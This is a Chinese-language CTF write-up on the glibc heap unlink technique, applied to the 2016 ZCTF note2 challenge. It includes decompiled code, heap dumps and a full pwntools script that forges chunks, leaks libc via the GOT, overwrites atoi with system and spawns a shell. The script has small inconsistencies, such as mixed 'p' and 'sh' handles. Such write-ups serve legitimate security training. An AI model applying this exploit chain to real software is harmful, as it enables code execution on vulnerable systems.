堆溢出-Unlink 原理
对 fd 和 bk 的检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) malloc_printerr (check_action, "corrupted double-linked list" , P, AV);
通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要
fakeFD -> bk == P
<=> *(fakeFD + 12) == P
fakeBK -> fd == P
<=> *(fakeBK + 8) == P
当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:
fakeFD -> bk = fakeBK
<=> *(fakeFD + 12) = fakeBK
fakeBK -> fd = fakeFD
<=> *(fakeBK + 8) = fakeFD
如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:
即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。
利用 条件
UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
已知位置存在一个指针指向可进行 UAF 的 chunk
效果 使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路 设指向可 UAF chunk 的指针的地址为 ptr
修改 fd 为 ptr - 0x18
修改 bk 为 ptr - 0x10
触发 unlink
ptr 处的指针会变为 ptr - 0x18。
64位:
fd = &P-0x18 bk = &P-0x10 效果: P = &P-0X18
32 位
fd = &p-12 bk = &p-8 效果: p =&p-12
例 2016 ZCTF note2 功能 puts ("1.New note\n2.Show note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>" );
漏洞点 新建note int sub_400B96 () { const char *size_4; unsigned int v2; unsigned int size ; if ( dword_602160 > 3 ) return puts ("note lists are full" ); puts ("Input the length of the note content:(less than 128)" ); size = sub_400A4A("Input the length of the note content:(less than 128)" ); if ( size > 0x80 ) return puts ("Too long" ); size_4 = malloc (size ); puts ("Input the note content:" ); sub_4009BD(size_4, size , 10 ); sub_400B10(size_4); *(&ptr + dword_602160) = size_4; qword_602140[dword_602160] = size ; v2 = dword_602160++; return printf ("note add success, the id is %d\n" , v2); }
unsigned __int64 __fastcall sub_4009BD (__int64 a1, __int64 a2, char a3) { char v4; char buf; unsigned __int64 i; ssize_t v7; v4 = a3; for ( i = 0L L; a2 - 1 > i; ++i ) { v7 = read (0 , &buf, 1u LL); if ( v7 <= 0 ) exit (-1 ); if ( buf == v4 ) break ; *(i + a1) = buf; } *(a1 + i) = 0 ; return i; }
程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
利用 note操作如下
p = process('./note2' ) note2 = ELF('./note2' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' def newnote (length, content) : p.recvuntil('option--->>' ) p.sendline('1' ) p.recvuntil('(less than 128)' ) p.sendline(str(length)) p.recvuntil('content:' ) p.sendline(content) def shownote (id) : p.recvuntil('option--->>' ) p.sendline('2' ) p.recvuntil('note:' ) p.sendline(str(id)) def editnote (id, choice, s) : p.recvuntil('option--->>' ) p.sendline('3' ) p.recvuntil('note:' ) p.sendline(str(id)) p.recvuntil('2.append]' ) p.sendline(str(choice)) p.sendline(s) def deletenote (id) : p.recvuntil('option--->>' ) p.sendline('4' ) p.recvuntil('note:' ) p.sendline(str(id))
构造三个chunk用于实现unlink p.recvuntil('Input your name:' ) p.sendline('1' ) p.recvuntil('Input your address:' ) p.sendline('1' ) ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = 'a' * 8 + p64(0x61 ) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60 ) newnote(128 , content) newnote(0 , 'a' * 8 ) newnote(0x80 , 'b' * 16 )
chunk0 中一共构造了两个 chunk
chunk ptr[0],这个是为了 unlink 时修改对应的值。
chunk ptr[0]’s nextchunk,这个是为了使得 unlink 时的第一个检查满足。
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
当前堆内构造 pwndbg> x/50xg 0x144d280 0x144d280: 0x0000000000000000 0x0000000000000000 0x144d290: 0x0000000000000000 0x0000000000000091 ======> chunk0 size=0x80 0x144d2a0: 0x6161616161616161 0x0000000000000061 0x144d2b0: 0x0000000000602108 0x0000000000602110 ------> fd bk 0x144d2c0: 0x6262626262626262 0x6262626262626262 0x144d2d0: 0x6262626262626262 0x6262626262626262 0x144d2e0: 0x6262626262626262 0x6262626262626262 0x144d2f0: 0x6262626262626262 0x6262626262626262 0x144d300: 0x0000000000000060 0x0000000000000000 ------> prev_size=0x60 0x144d310: 0x0000000000000000 0x0000000000000000 0x144d320: 0x0000000000000000 0x0000000000000021 ======> chunk1 size=0 0x144d330: 0x6161616161616161 0x0000000000000000 0x144d340: 0x0000000000000000 0x0000000000000091 ======> chunk2 size=0x80 0x144d350: 0x6262626262626262 0x6262626262626262 0x144d360: 0x0000000000000000 0x0000000000000000 0x144d370: 0x0000000000000000 0x0000000000000000 0x144d380: 0x0000000000000000 0x0000000000000000 0x144d390: 0x0000000000000000 0x0000000000000000 0x144d3a0: 0x0000000000000000 0x0000000000000000 0x144d3b0: 0x0000000000000000 0x0000000000000000 0x144d3c0: 0x0000000000000000 0x0000000000000000 0x144d3d0: 0x0000000000000000 0x0000000000020c31 ======> top chunk
释放 chunk1 - 覆盖 chunk2 - 释放 chunk2 deletenote(1 ) content = 'a' * 16 + p64(0xa0 ) + p64(0x90 ) newnote(0 , content) deletenote(2 )
首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2
当前堆内构造 pwndbg> x/50xg 0x1a94280 0x1a94280: 0x0000000000000000 0x0000000000000000 0x1a94290: 0x0000000000000000 0x0000000000000091 ======> chunk0 size=0x80 0x1a942a0: 0x6161616161616161 0x0000000000000061 0x1a942b0: 0x0000000000602108 0x0000000000602110 ------> fd bk ptr[0] 0x1a942c0: 0x6262626262626262 0x6262626262626262 0x1a942d0: 0x6262626262626262 0x6262626262626262 0x1a942e0: 0x6262626262626262 0x6262626262626262 0x1a942f0: 0x6262626262626262 0x6262626262626262 0x1a94300: 0x0000000000000060 0x0000000000000000 ------> fake prev_size=0x60 unused 0x1a94310: 0x0000000000000000 0x0000000000000000 0x1a94320: 0x0000000000000000 0x0000000000000021 ======> chunk1 size=0 0x1a94330: 0x6161616161616161 0x6161616161616161 0x1a94340: 0x00000000000000a0 0x0000000000000090 0x1a94350: 0x0000000000000000 0x0000000001a94010 0x1a94360: 0x0000000000000000 0x0000000000000000 0x1a94370: 0x0000000000000000 0x0000000000000000 0x1a94380: 0x0000000000000000 0x0000000000000000 0x1a94390: 0x0000000000000000 0x0000000000000000 0x1a943a0: 0x0000000000000000 0x0000000000000000 0x1a943b0: 0x0000000000000000 0x0000000000000000 0x1a943c0: 0x0000000000000000 0x0000000000000000 0x1a943d0: 0x0000000000000000 0x0000000000020c31 0x1a943e0: 0x0000000000000000 0x0000000000000000
覆盖主要是为了释放 chunk2 的时候可以后向合并(合并低地址),对 chunk0 中虚拟构造的 chunk 进行 unlink。即将要执行的操作为 unlink(ptr[0]),unlink 成功执行,会导致 ptr[0] 所存储的地址变为 fakebk,即 ptr-0x18。
获取 system 地址 atoi_got = note2.got['atoi' ] content = 'a' * 0x18 + p64(atoi_got) editnote(0 , 1 , content) shownote(0 ) p.recvuntil('is ' ) atoi_addr = p.recvuntil('\n' , drop=True ) print atoi_addratoi_addr = u64(atoi_addr.ljust(8 , '\x00' )) print 'leak atoi addr: ' + hex(atoi_addr)atoi_offest = libc.symbols['atoi' ] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system' ] system_addr = libcbase + system_offest print 'leak system addr: ' , hex(system_addr)
前面已经修改 ptr[0] 的内容为 ptr 的地址 - 0x18,所以当再次编辑 note0 时,可以覆盖 ptr[0] 的内容。这里将其覆盖为 atoi 的地址。 这样的话,如果查看 note 0 的内容,其实查看的就是 atoi 的地址。之后我们根据 libc 中对应的偏移计算出 system 的地址。
修改 atoi got content = p64(system_addr) editnote(0 , 1 , content)
此时 ptr[0] 的地址 got 表的地址,所以可以直接修改该 note,覆盖为 system 地址。
get shell sh.recvuntil('option--->>' ) sh.sendline('/bin/sh' ) sh.interactive()
此时如果再调用 atoi ,其实调用的就是 system 函数。